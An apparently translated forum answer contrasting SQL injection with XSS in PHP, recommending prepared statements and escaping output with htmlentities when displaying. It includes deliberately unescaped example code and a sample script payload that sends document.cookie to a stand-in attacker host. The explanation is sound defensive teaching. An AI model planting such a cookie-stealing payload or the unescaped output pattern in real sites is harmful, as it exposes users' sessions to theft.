XSS is one thing and SQL-Injection is quite another, although both may (always) originate from the same source:
SQL-injection
Occurs if the user can manipulate or break the query. When we use bindValue
and bindParam
, the native APIs themselves "treat" this. I recommend you read this other response from me:
XSS
This is the code injection that will be displayed later on the page. This can occur with bindParam
because it is not a SQL problem. Any storage medium that shows the data on the page later may suffer from this failure, for example: instead of saving the data in a database, the site saves in a .txt:
save.php
file_put_contents('mural.txt', $_POST['mensagem'], FILE_APPEND);
And at the time of displaying mural.txt I did just this:
display.php
echo file_get_contents('mural.txt');
Anything that was sent in $_POST['mensagem']
will be displayed directly, even HTML, JS, and CSS that were created by the submitter. In this, data exploration may occur, such as reading and sequestering cookies if the JS sent does something like:
<script>
var q = document.createElement('script');
q.src = "http://www.sitequevaisequestraroscookies.com/pagina?cookies=" + encodeURI(document.cookie);
document.body.appendChild(q);
</script>
It's a sample code just to understand how it works.
Conclusion
I believe that bindParam
and bindValue
already solves SQL-injection, but XSS can solve it in another way. People talk to do things like:
$preparedQuery->bindValue($key, htmlentities($_POST['mensagem']));
Or:
$preparedQuery->bindValue($key, strip_tags($_POST['mensagem']));
Yes, these are things that work, but there is a problem, not a security issue, but a data breakdown. I personally am in favor of saving the data the way they came, just by trying to avoid SQL-injection, and XSS should be resolved at the time of displaying the data and not at the time of writing. This is because it is very common to lose character and the like, which can make bank data "broken" and impossible to recover.
I'm not going to go into details, it's not really the fault of strip_tags
or htmlentities
. What happens is that often people migrate the data or change the pages / systems and etc and in these maintenance things can get lost. Otherwise, if the data is reused in a non-web system it can occur like this in the GUI :
<p>olá</p>
Imagine that your system has tutorials on HTML or other languages. You may lose formatting. Many forumsystems like IP.Board (which I used one time) lost a lot of data as upgrades to new versions.
In other words, serious about the way you came and treat it at the time of viewing:
while ($row = $q->fetch(PDO::FETCH_ASSOC)) {
echo 'Nome: ', htmlentities($row['nome']), '<br>',
'mensagem: ', htmlentities($row['mensagem']), '<hr>';
}
Of course, if you want to use strip_tags
and it's your goal, in fact, not to mention codes anywhere on the site, it can be used at the time of recording. But think so: if it's a call system from which you need to pass to another analyst a code that has HTML snippets or something, by clearing the string the message will lose its meaning, so changing the HTML characters by entities would be more appropriate to the situation .